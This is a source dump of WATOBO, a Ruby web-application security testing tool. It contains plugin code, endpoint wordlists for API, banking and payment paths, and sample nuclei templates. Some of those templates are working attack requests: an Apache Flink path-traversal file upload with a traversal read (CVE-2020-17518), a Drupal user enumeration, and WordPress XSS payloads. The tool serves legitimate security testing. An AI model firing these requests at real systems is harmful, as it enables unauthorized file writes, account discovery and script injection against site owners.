21 | # puts "* no ignore patterns defined" 22 | @wqueue << new_item 23 | elsif Watobo::Plugin::CQ5.ignore_patterns.select { |ip| new_item[:url] =~ /#{ip}/i }.empty? 24 | @wqueue << new_item 25 | end 26 | 27 | @rqueue << new_item 28 | else 29 | puts "[DUPLICATED] >> #{new_item[:url]}" 30 | end 31 | else 32 | sleep 0.2 33 | end 34 | end 35 | } 36 | end 37 | 38 | def initialize(disp_queue, work_queue, result_queue) 39 | @dqueue = disp_queue 40 | @wqueue = work_queue 41 | @rqueue = result_queue 42 | @t_disp = nil 43 | end 44 | end 45 | end 46 | end 47 | end -------------------------------------------------------------------------------- /plugins/catalog/catalog.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/catalog/catalog.ico -------------------------------------------------------------------------------- /plugins/catalog/db_tests: -------------------------------------------------------------------------------- 1 | "000001","0","b","/status/","GET","200","","","","","There exists an information leakage vulnerability at this JBoss installation.","","" 2 | -------------------------------------------------------------------------------- /plugins/catalog/db_variables: -------------------------------------------------------------------------------- 1 | # You can define some global variables here 2 | # e.g., @php_extension = php php4 php5 3 | -------------------------------------------------------------------------------- /plugins/crawler/crawler.rb: -------------------------------------------------------------------------------- 1 | %w( constants bags grabber engine uri_mp status ).each do |l| 2 | require_relative File.join("lib", l) 3 | end 4 | 5 | -------------------------------------------------------------------------------- /plugins/crawler/gui.rb: -------------------------------------------------------------------------------- 1 | require_relative 'crawler.rb' 2 | 3 | %w( crawler_gui settings_tabbook general_settings_frame status_frame hooks_frame auth_frame scope_frame ).each do |l| 4 | #puts "Loading >> #{l}" 5 | require_relative File.join("gui", l) 6 | end 7 | -------------------------------------------------------------------------------- /plugins/crawler/gui/settings_tabbook.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Plugin 4 | module Crawler 5 | class Gui 6 | class SettingsTabBook < FXTabBook 7 | attr :hooks, :general, :log_viewer, :auth, :scope 8 | 9 | 10 | 11 | def initialize(owner) 12 | #@tab = FXTabBook.new(self, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) 13 | super(owner, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) 14 | FXTabItem.new(self, "General", nil) 15 | # frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) 16 | @general = GeneralSettingsFrame.new(self) 17 | 18 | FXTabItem.new(self, "Scope", nil) 19 | @scope = ScopeFrame.new(self) 20 | 21 | FXTabItem.new(self, "Auth", nil) 22 | @auth = AuthFrame.new(self) 23 | 24 | 25 | FXTabItem.new(self, "Hooks", nil) 26 | @hooks = HooksFrame.new(self) 27 | 28 | FXTabItem.new(self, "Log", nil) 29 | frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_THICK|FRAME_RAISED) 30 | @log_viewer = Watobo::Gui::LogViewer.new(frame, :append, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) 31 | 32 | self.connect(SEL_COMMAND){ 33 | @hooks.selected if self.current == 3 34 | } 35 | end 36 | end 37 | end 38 | end 39 | end 40 | end -------------------------------------------------------------------------------- /plugins/crawler/icons/crawler.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/crawler/icons/crawler.ico -------------------------------------------------------------------------------- /plugins/crawler/lib/bags.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Crawler 4 | class PageBag 5 | attr :page, :depth 6 | def initialize(page, depth) 7 | @page = page 8 | @depth = depth 9 | end 10 | end 11 | 12 | class LinkBag 13 | attr :link, :depth 14 | def initialize(link, depth) 15 | @link = link 16 | @depth = depth 17 | end 18 | end 19 | end 20 | end -------------------------------------------------------------------------------- /plugins/crawler/lib/constants.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Plugin 4 | module Crawler 5 | module Constants 6 | CRAWL_NONE = 0x00 7 | CRAWL_RUNNING = 0x01 8 | CRAWL_PAUSED = 0x02 9 | 10 | end 11 | end 12 | end 13 | end -------------------------------------------------------------------------------- /plugins/crawler/lib/status.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Crawler 3 | module Status 4 | include Watobo::Plugin::Crawler::Constants 5 | 6 | @status_lock = Mutex.new 7 | @request_count = 0 8 | @engine_status = CRAWL_NONE 9 | @page_size = 0 10 | @link_size = 0 11 | 12 | def self.reset 13 | @request_count = 0 14 | @engine_status = CRAWL_NONE 15 | @page_size = 0 16 | end 17 | 18 | def self.page_size=(ps) 19 | @status_lock.synchronize do 20 | @page_size= ps 21 | end 22 | true 23 | end 24 | 25 | def self.link_size=(ps) 26 | @status_lock.synchronize do 27 | @link_size= ps 28 | end 29 | true 30 | end 31 | 32 | def self.engine=(s) 33 | @status_lock.synchronize do 34 | @engine_status = s 35 | end 36 | end 37 | 38 | def self.engine 39 | e = nil 40 | @status_lock.synchronize do 41 | e = @engine_status 42 | end 43 | e 44 | end 45 | 46 | def self.inc_requests(i = 1) 47 | @status_lock.synchronize do 48 | @request_count += i 49 | end 50 | end 51 | 52 | def self.set(status) 53 | @status_lock.synchronize do 54 | 55 | end 56 | end 57 | 58 | def self.get 59 | s = {} 60 | @status_lock.synchronize do 61 | s = { 62 | :engine_status => @engine_status, 63 | :total_requests => @request_count, 64 | :page_size => @page_size, 65 | :link_size => @link_size 66 | # :skipped_domains => 0 67 | } 68 | end 69 | s 70 | end 71 | end 72 | end 73 | end -------------------------------------------------------------------------------- /plugins/crawler/lib/uri_mp.rb: -------------------------------------------------------------------------------- 1 | module URI 2 | def site 3 | "#{self.host}:#{self.port}" 4 | end 5 | 6 | # path ( Monkey Patched ) 7 | def path_mp 8 | #p = self.path 9 | self.path.gsub(/\/[^\/]*$/,'/') 10 | 11 | end 12 | end 13 | -------------------------------------------------------------------------------- /plugins/filefinder/dbs/api-endpoints.db: -------------------------------------------------------------------------------- 1 | ping 2 | health 3 | status 4 | actuator 5 | trace 6 | logfile 7 | logs 8 | metrics 9 | heapdump 10 | api-docs 11 | application.wadl 12 | doc 13 | docs 14 | swagger-ui.html 15 | swagger.json 16 | api 17 | v1 18 | v1.0 19 | v2 20 | v2.0 21 | v3 22 | v3.0 23 | client 24 | version 25 | configuration 26 | bootstrap 27 | api_v3 28 | api_v2 29 | api_v1 30 | api 31 | 32 | -------------------------------------------------------------------------------- /plugins/filefinder/dbs/hbci.db: -------------------------------------------------------------------------------- 1 | cgi/hbcipt.cgi 2 | hbci 3 | pintan 4 | HbciPinTanHttpGate 5 | BankingPinTanInt/ServletPinTan 6 | ssl/banking 7 | fints_pintan/receiver 8 | hbci/pintan/PinTanServlet 9 | banking/hbci.do 10 | hbciTunnel/hbciTransfer.jsp 11 | pintan/PinTanServlet 12 | cgi-bin/hbciservlet 13 | OnlineBankingFinTS/pintan -------------------------------------------------------------------------------- /plugins/filefinder/dbs/payment.db: -------------------------------------------------------------------------------- 1 | ebicsweb/ebicsweb 2 | TRAVICDialog/start.do 3 | api_v3 4 | swp/Instances.html 5 | box/do/plugin/meadow/ifxeditor/ping 6 | box/do/real-default 7 | pgw/Welcome.do 8 | cbt/do/real-default 9 | restapi -------------------------------------------------------------------------------- /plugins/filefinder/dbs/well_known.db: -------------------------------------------------------------------------------- 1 | genesisrest.svc/v3.0/version/server # http://demo.cas.de 2 | smartaccess 3 | AutoDiscover # mobile sync nokia 4 | Microsoft-Server-ActiveSync #ActiveSync -------------------------------------------------------------------------------- /plugins/filescanner/filescanner.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class Filescanner < Watobo::PluginBase 5 | plugin_name "File Scanner" 6 | description "Scan for single or multiple files." 7 | load_libs 8 | load_gui :main, :status_frame, :settings_frame, :dbselect_frame, :request_frame 9 | end 10 | end 11 | end 12 | 13 | -------------------------------------------------------------------------------- /plugins/filescanner/gui/status_frame.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | #require_relative 'target_frame' 3 | module Watobo #:nodoc: all 4 | module Plugin 5 | class Filescanner 6 | class Gui 7 | class StatusFrame < FXHorizontalFrame 8 | #include Watobo::Gui 9 | #include Watobo::Gui::Icons 10 | 11 | include Watobo::Subscriber 12 | 13 | def armed 14 | @start_button.enable 15 | end 16 | 17 | def initialize(ctrl, owner, opts) 18 | super(owner, opts) 19 | 20 | @ctrl = ctrl 21 | progress_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) 22 | @pbar = FXProgressBar.new(progress_frame, nil, 0, LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) 23 | @pbar.progress = 0 24 | @pbar.total = 0 25 | @pbar.barColor=0 26 | @pbar.barColor = 'grey' #FXRGB(255,0,0) 27 | 28 | @speed = FXLabel.new(progress_frame, "Checks per second: -") 29 | @speed.disable 30 | 31 | @start_button = FXButton.new(self, "start") 32 | @start_button.connect(SEL_COMMAND){ notify(:start) } 33 | @start_button.disable 34 | 35 | @ctrl.subscribe(:armed){ @start_button.enable } 36 | @ctrl.subscribe(:disarmed){ @start_button.disable } 37 | end 38 | 39 | def update_progress(progress, total, speed) 40 | @pbar.total = total 41 | @pbar.progress = progress 42 | @speed.text = "Checks per second: #{speed}" 43 | end 44 | 45 | end 46 | end 47 | end 48 | end 49 | end 50 | 51 | -------------------------------------------------------------------------------- /plugins/filescanner/headless.rb: -------------------------------------------------------------------------------- 1 | Dir["#{File.expand_path(File.dirname(__FILE__))}/lib/*.rb"].sort.each do |f| 2 | require f 3 | end 4 | -------------------------------------------------------------------------------- /plugins/filescanner/icons/filescanner.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/filescanner/icons/filescanner.ico -------------------------------------------------------------------------------- /plugins/filescanner/modules/spring_actuator.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/filescanner/modules/spring_actuator.rb -------------------------------------------------------------------------------- /plugins/invader/gui/config_frame.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/invader/gui/config_frame.rb -------------------------------------------------------------------------------- /plugins/invader/gui/create_tweak_dlg.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Plugin 4 | class Invader 5 | class Gui 6 | class CreateTweakDlg < FXDialogBox 7 | 8 | def get_tweak() 9 | return @actionSelection.create_tweak() 10 | end 11 | 12 | def initialize(owner) 13 | super(owner, "Create Action", DECOR_TITLE | DECOR_BORDER, :width => 300, :height => 500) 14 | main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) 15 | 16 | @actionSelection = TweakSelectFrame.new(main, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_NONE, :padding => 0) 17 | 18 | buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM | LAYOUT_FILL_X | PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) 19 | # Accept 20 | FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 21 | 22 | # Cancel 23 | FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 24 | end 25 | end 26 | end 27 | end 28 | end 29 | end 30 | -------------------------------------------------------------------------------- /plugins/invader/icons/invader.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/invader/icons/invader.ico -------------------------------------------------------------------------------- /plugins/invader/invader.md: -------------------------------------------------------------------------------- 1 | # Dev Notes 2 | All generators are based on the class Invader::Generator 3 | The options frame of each generator depends on the class name 4 | of the generator! 5 | Example 6 | 7 | If the class name is Invader::SampleGenerator then the options frame 8 | must be named Invader::Gui::SampleGeneratorOptions 9 | 10 | # TODO 11 | * files generator: using one or more files as input. one entry per line 12 | * ruby generator: proc execution -------------------------------------------------------------------------------- /plugins/invader/invader.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | # https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf 3 | module Watobo#:nodoc: all::Plugin 4 | module Plugin 5 | class Invader < Watobo::PluginBase 6 | plugin_name "Invader" 7 | description "Fire custom payloads on targets." 8 | load_libs 9 | load_gui 10 | end 11 | end 12 | end 13 | 14 | -------------------------------------------------------------------------------- /plugins/invader/lib/directory_generator.rb: -------------------------------------------------------------------------------- 1 | require_relative './generator' 2 | module Watobo 3 | module Plugin 4 | class Invader 5 | class DirectoryGenerator < Watobo::Plugin::Invader::Generator 6 | 7 | def run(prefs, &block) 8 | raise ":directory key missing" unless prefs.has_key?(:directory) 9 | 10 | Dir.glob("#{prefs[:directory]}/*").each do |file| 11 | yield [ File.basename(file), File.read(file).strip ] if block_given? 12 | end 13 | 14 | end 15 | 16 | def initialize 17 | super 'Directory Generator' 18 | 19 | end 20 | end 21 | end 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /plugins/invader/lib/generator.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Plugin 3 | class Invader 4 | 5 | class GeneratorFactory 6 | @@generators ||= [] 7 | 8 | def self.each(&block) 9 | @@generators.each do |gen| 10 | # clazz = Kernel.const_get(gen) 11 | #clazz = Watobo.class_eval(gen) 12 | #binding.pry 13 | 14 | yield gen.new if block_given? 15 | end 16 | end 17 | 18 | def self.add(gen) 19 | puts "+ new generator: #{gen}" if $VERBOSE 20 | @@generators << gen 21 | end 22 | 23 | end 24 | 25 | class Generator 26 | attr :weight # used for sorting 27 | attr :name 28 | 29 | @@current = nil 30 | 31 | def self.inherited(subclass) 32 | GeneratorFactory.add subclass 33 | end 34 | 35 | 36 | def self.run(prefs, tweaks, &block) 37 | @@current.run(prefs) do |source, payload| 38 | if tweaks.empty? 39 | yield [ source, payload ] if block_given? 40 | else 41 | tweaks.each do |tweak| 42 | payload = tweak.func.call(payload) 43 | end 44 | yield [ source, payload ] if block_given? 45 | end 46 | end 47 | end 48 | 49 | 50 | def self.set(generator) 51 | @@current = generator 52 | end 53 | 54 | 55 | def initialize(name) 56 | @name = name 57 | end 58 | 59 | def run(prefs, &block) 60 | raise "No run-block set for generator #{self}" 61 | 62 | end 63 | end 64 | end 65 | end 66 | 67 | end 68 | -------------------------------------------------------------------------------- /plugins/invader/lib/list_generator.rb: -------------------------------------------------------------------------------- 1 | require_relative './generator' 2 | module Watobo 3 | module Plugin 4 | class Invader 5 | class SimpleListGenerator < Generator 6 | 7 | def run(prefs, &block) 8 | raise ":list key missing" unless prefs.has_key?(:list) 9 | 10 | prefs[:list].each do |e| 11 | yield [ e, e ] if block_given? 12 | end 13 | 14 | end 15 | 16 | def initialize() 17 | 18 | super 'Simple List' 19 | 20 | end 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /plugins/invader/lib/samples.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Plugin 3 | class Invader 4 | 5 | class SampleSet 6 | attr :name 7 | 8 | def add(source, chat) 9 | @samples << OpenStruct.new( :source => source, :chat => chat ) 10 | end 11 | 12 | def initialize(name) 13 | @name = name 14 | @samples = [] 15 | end 16 | 17 | def method_missing(name, *args, &block) 18 | super unless @samples.respond_to?(name) 19 | @samples.send(name, *args, &block) 20 | end 21 | end 22 | 23 | end 24 | end 25 | end 26 | -------------------------------------------------------------------------------- /plugins/invader/lib/tweaks.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Plugin 3 | class Invader 4 | Tweaks = [] 5 | 6 | class Tweak 7 | attr :type 8 | attr :func 9 | attr :info 10 | attr_accessor :enabled 11 | 12 | attr_accessor :enabled 13 | 14 | def is_action? 15 | true 16 | end 17 | 18 | def enabled? 19 | @enabled 20 | end 21 | 22 | def initialize(proc, prefs) 23 | @func = proc 24 | @type = prefs[:type] || "undefined" 25 | @info = prefs[:info] || "undefined" 26 | @enabled = true 27 | end 28 | 29 | end 30 | 31 | end 32 | end 33 | end 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /plugins/jwt/bin/jwt_sampler.rb: -------------------------------------------------------------------------------- 1 | require 'jwt' 2 | require 'base64' 3 | 4 | 5 | t = Time.now.to_i 6 | 7 | 8 | payload = JSON.parse '{ "test":"test1"}' 9 | t = t - 24 * 3600 * 30 10 | payload['exp'] = t + 3600 11 | payload["iat"] = t 12 | payload["jti"] = "1aa6a65c-c843-4b0d-b1d5-6dadbfabdeb2" 13 | 14 | token = JWT.encode payload, '', 'HS256', {'kid'=>'rsa1'} 15 | th, tp, ts = token.split('.') 16 | puts Base64.decode64(th) 17 | puts Base64.decode64(tp) 18 | #puts Base64.decode64(ts) 19 | 20 | puts 21 | puts token 22 | puts 23 | # make signature invalid 24 | #token[-3..-1] = 'AAA' 25 | #puts token 26 | puts '---' 27 | # Invalid Token Format 28 | #token = 'AAA.BBB.CCC' 29 | 30 | begin 31 | decoded_token = JWT.decode token, '', true, { :algorithm => 'HS256', 32 | :verify_expiration => false, 33 | } 34 | rescue JWT::ExpiredSignature 35 | puts "Signature Expired" 36 | rescue JWT::VerificationError 37 | puts "Signature Invalid" 38 | rescue JWT::DecodeError 39 | puts 'Invalid JWT Token Format' 40 | end 41 | puts decoded_token 42 | puts decoded_token.class 43 | 44 | # Array 45 | # [ 46 | # {"data"=>"test"}, # payload 47 | # {"alg"=>"HS256"} # header 48 | # ] 49 | puts decoded_token 50 | 51 | # manual check signature 52 | # from https://jwt.io/introduction/ 53 | =begin 54 | HMACSHA256( 55 | base64UrlEncode(header) + "." + 56 | base64UrlEncode(payload), 57 | secret) 58 | =end 59 | 60 | 61 | x = JWT.verify_signature 'HS256', '', Base64.urlsafe_encode64(decoded_token[1].to_s) + '.' + Base64.urlsafe_encode64(payload.to_s), token.split('.')[2] 62 | puts x.class 63 | 64 | -------------------------------------------------------------------------------- /plugins/jwt/icons/jwt.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/jwt/icons/jwt.ico -------------------------------------------------------------------------------- /plugins/jwt/icons/pic_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/jwt/icons/pic_logo.png -------------------------------------------------------------------------------- /plugins/jwt/jwt.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class JWT < Watobo::PluginBase 5 | plugin_name "JWT Analyzer" 6 | description "JWT Creator/Parser/Analyzer/Verifier" 7 | load_libs 8 | load_gui :main 9 | #, :targets, :result_tree 10 | end 11 | end 12 | end 13 | 14 | -------------------------------------------------------------------------------- /plugins/nuclei/fake-server/index.html: -------------------------------------------------------------------------------- 1 | 2 | EV_START This is some extracted value in index.html EV_END 3 | -------------------------------------------------------------------------------- /plugins/nuclei/fake-server/index.json: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /plugins/nuclei/fake-server/match-something-02.html: -------------------------------------------------------------------------------- 1 | something -------------------------------------------------------------------------------- /plugins/nuclei/fake-server/match-something-two.html: -------------------------------------------------------------------------------- 1 | 2 | EV_START This is some extracted value in match-something-two.html EV_END 3 | -------------------------------------------------------------------------------- /plugins/nuclei/fake-server/match-something.html: -------------------------------------------------------------------------------- 1 | 2 | EV_START This is some extracted value in match-something.html EV_END -------------------------------------------------------------------------------- /plugins/nuclei/gui/template_info_frame.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | #require_relative 'target_frame' 3 | module Watobo #:nodoc: all 4 | module Plugin 5 | class Nuclei 6 | class Gui 7 | 8 | class TemplateInfoFrame < FXVerticalFrame 9 | 10 | def update_item(item) 11 | @template = item 12 | update_template 13 | end 14 | 15 | def initialize(owner, opts) 16 | super(owner, opts) 17 | 18 | @template = nil 19 | box = FXGroupBox.new(self, "Template Definition", LAYOUT_SIDE_TOP | FRAME_GROOVE | LAYOUT_FILL_X | LAYOUT_FILL_Y, 0, 0, 0, 0) 20 | @template_file = FXLabel.new(box, "Filename: ") 21 | 22 | frame = FXVerticalFrame.new(box,:opts => TEXTFIELD_NORMAL | LAYOUT_FILL_X | LAYOUT_FILL_Y| FRAME_SUNKEN | FRAME_THICK, :padding => 0) 23 | @template_txt = FXText.new(frame, :opts => TEXTFIELD_NORMAL | LAYOUT_FILL_X | LAYOUT_FILL_Y) 24 | @template_txt.editable = false 25 | end 26 | 27 | private 28 | 29 | def update_template 30 | return false if @template.nil? 31 | @template_file.text = "Filename: #{@template.filename}" 32 | @template_txt.setText @template.template.to_yaml 33 | end 34 | end 35 | 36 | 37 | end 38 | end 39 | end 40 | end 41 | -------------------------------------------------------------------------------- /plugins/nuclei/icons/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/nuclei/icons/logo.png -------------------------------------------------------------------------------- /plugins/nuclei/icons/nuclei.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/nuclei/icons/nuclei.ico -------------------------------------------------------------------------------- /plugins/nuclei/lib/nuclei_payloads.rb: -------------------------------------------------------------------------------- 1 | module Watobo #:nodoc: all 2 | module Plugin 3 | class NucleiScanner 4 | class NucleiPayload 5 | 6 | end 7 | end 8 | end 9 | end 10 | -------------------------------------------------------------------------------- /plugins/nuclei/lib/nuclei_request_collection_UNUSED.rb: -------------------------------------------------------------------------------- 1 | module Watobo #:nodoc: all 2 | module Plugin 3 | class NucleiScanner 4 | class NucleiRequestCollection 5 | attr :collection 6 | 7 | def initialize(request_template) 8 | @template = request_template 9 | @collection = [] 10 | @responses = [] 11 | end 12 | 13 | private 14 | def parse_template 15 | if !!r['raw'] 16 | r['raw'].each do |raw| 17 | requests << Watobo::Plugin::NucleiScanner::NucleiRawRequest.new(r, base_request) 18 | end 19 | else 20 | requests << Watobo::Plugin::NucleiScanner::NucleiBaseRequest.new(r, base_request.url.to_s) 21 | end 22 | end 23 | end 24 | end 25 | 26 | end 27 | end -------------------------------------------------------------------------------- /plugins/nuclei/lib/nuclei_request_extension.rb: -------------------------------------------------------------------------------- 1 | module Watobo #:nodoc: all 2 | module Plugin 3 | class NucleiScanner 4 | module NucleiRequestExtension 5 | 6 | 7 | end 8 | end 9 | 10 | end 11 | end 12 | -------------------------------------------------------------------------------- /plugins/nuclei/nuclei.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class Nuclei < Watobo::PluginBase 5 | plugin_name "Nuclei" 6 | description "Scanner for Nuclei-Templates" 7 | load_libs 8 | load_gui :main, :status_frame, :tree_list_frame, :request_frame, :template_info_frame, :options_frame 9 | end 10 | end 11 | end 12 | 13 | -------------------------------------------------------------------------------- /plugins/nuclei/samples/fake-server.yaml: -------------------------------------------------------------------------------- 1 | id: watobo-fake-server_01 2 | 3 | info: 4 | name: Watobo Fake Server Check #1 5 | author: as 6 | severity: critical 7 | reference: ??? 8 | description: | 9 | sample definition to better understand nuclei design 10 | tags: nuclei 11 | 12 | requests: 13 | - raw: 14 | - | 15 | GET /index.html HTTP/1.1 16 | Host: {{Hostname}} 17 | Accept: */* 18 | Accept-Language: en 19 | 20 | - | 21 | GET /match-something-two.html HTTP/1.1 22 | Host: {{Hostname}} 23 | Accept: */* 24 | Accept-Language: en 25 | MyHeader: {{ev01}} 26 | Another-Header: {{header}} 27 | 28 | - | 29 | GET /match-something-three.html HTTP/1.1 30 | Host: {{Hostname}} 31 | Accept: */* 32 | Accept-Language: en 33 | MyHeader: {{ev01}} 34 | payloads: 35 | header: 36 | - header01 37 | - header02 38 | 39 | extractors: 40 | - type: regex 41 | part: body 42 | name: ev01 43 | internal: true 44 | group: 1 45 | regex: 46 | - 'EV_START(.*)EV_END' 47 | 48 | - method: GET 49 | path: 50 | - '{{BaseURL}}/match-something.html' 51 | - '{{BaseURL}}/match-nothing.html' 52 | - '{{BaseURL}}/{{ev01}}' 53 | - '{{BaseURL}}/{{ev02}}' 54 | 55 | extractors: 56 | - type: regex 57 | part: body 58 | name: ev02 59 | regex: 60 | - 'EV_START(.*)EV_END' 61 | 62 | matchers: 63 | - type: dsl 64 | dsl: 65 | - 'contains(body, "something") == true && status_code == 200' # Using CVE-2020-17519 to confirm this. 66 | -------------------------------------------------------------------------------- /plugins/nuclei/samples/multi_path_regex.yaml: -------------------------------------------------------------------------------- 1 | id: drupal-user-enum-redirect 2 | 3 | info: 4 | name: Drupal User Enumration [Redirect] 5 | author: 0w4ys 6 | severity: info 7 | tags: drupal 8 | 9 | requests: 10 | - method: GET 11 | path: 12 | - "{{BaseURL}}/user/0" 13 | - "{{BaseURL}}/user/1" 14 | - "{{BaseURL}}/user/2" 15 | - "{{BaseURL}}/user/3" 16 | headers: 17 | User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" 18 | matchers-condition: and 19 | matchers: 20 | - type: regex 21 | regex: 22 | - '(?i)Location: http(s|):\/\/[\w\.\-]+(\/ar|\/en|)\/users\/\w+' 23 | part: header 24 | - type: status 25 | status: 26 | - 301 27 | extractors: 28 | - type: regex 29 | part: header 30 | regex: 31 | - 'users\/\w+' 32 | -------------------------------------------------------------------------------- /plugins/nuclei/samples/raw_dsl_status_code.yaml: -------------------------------------------------------------------------------- 1 | id: CVE-2020-17518 2 | 3 | info: 4 | name: Apache Flink Upload Path Traversal 5 | author: pd-team 6 | severity: critical 7 | reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518 8 | description: | 9 | Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system, 10 | through a maliciously modified HTTP HEADER. 11 | tags: cve,cve2020,apache,traversal 12 | 13 | requests: 14 | - raw: 15 | - | 16 | POST /jars/upload HTTP/1.1 17 | Host: {{Hostname}} 18 | Accept: */* 19 | Accept-Language: en 20 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y 21 | Content-Length: 187 22 | 23 | ------WebKitFormBoundaryoZ8meKnrrso89R6Y 24 | Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc" 25 | 26 | test-poc 27 | ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- 28 | 29 | - method: GET 30 | path: 31 | - '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc' 32 | 33 | matchers: 34 | - type: dsl 35 | dsl: 36 | - 'contains(body, "test-poc") == true && status_code == 200' # Using CVE-2020-17519 to confirm this. 37 | -------------------------------------------------------------------------------- /plugins/nuclei/samples/raw_multi_dsl.yaml: -------------------------------------------------------------------------------- 1 | id: CVE-2019-11869 2 | 3 | info: 4 | name: Yuzo Related Posts plugin XSS 5 | author: ganofins 6 | severity: medium 7 | description: | 8 | The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS 9 | because it mistakenly expects that is_admin() verifies that the 10 | request comes from an admin user (it actually only verifies that the 11 | request is for an admin page). An unauthenticated attacker can inject 12 | a payload into the plugin settings, such as the 13 | yuzo_related_post_css_and_style setting. 14 | 15 | References: 16 | - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild 17 | - https://wpscan.com/vulnerability/9254 18 | tags: cve,cve2019,wordpress,wp-plugin,xss 19 | 20 | requests: 21 | - raw: 22 | - | 23 | POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1 24 | Host: {{Hostname}} 25 | User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 26 | Content-Type: application/x-www-form-urlencoded 27 | 28 | yuzo_related_post_css_and_style= 29 | 30 | - | 31 | GET / HTTP/1.1 32 | Host: {{Hostname}} 33 | User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 34 | Upgrade-Insecure-Requests: 1 35 | 36 | req-condition: true 37 | matchers-condition: and 38 | matchers: 39 | - type: dsl 40 | dsl: 41 | - 'contains(body_2, "") == true' 42 | 43 | - type: dsl 44 | dsl: 45 | - "contains(tolower(all_headers_2), 'text/html') == true" -------------------------------------------------------------------------------- /plugins/nuclei/samples/raw_multipart.yaml: -------------------------------------------------------------------------------- 1 | id: wordpress-zebra-form-xss 2 | 3 | info: 4 | name: Wordpress Zebra Form XSS 5 | author: madrobot 6 | severity: medium 7 | reference: https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html 8 | tags: wordpress,xss 9 | requests: 10 | - raw: 11 | - | 12 | POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(/XSS-form/)%3E&control=upload HTTP/1.1 13 | Host: {{Hostname}} 14 | User-Agent: Mozilla/5.0 (Windows NT 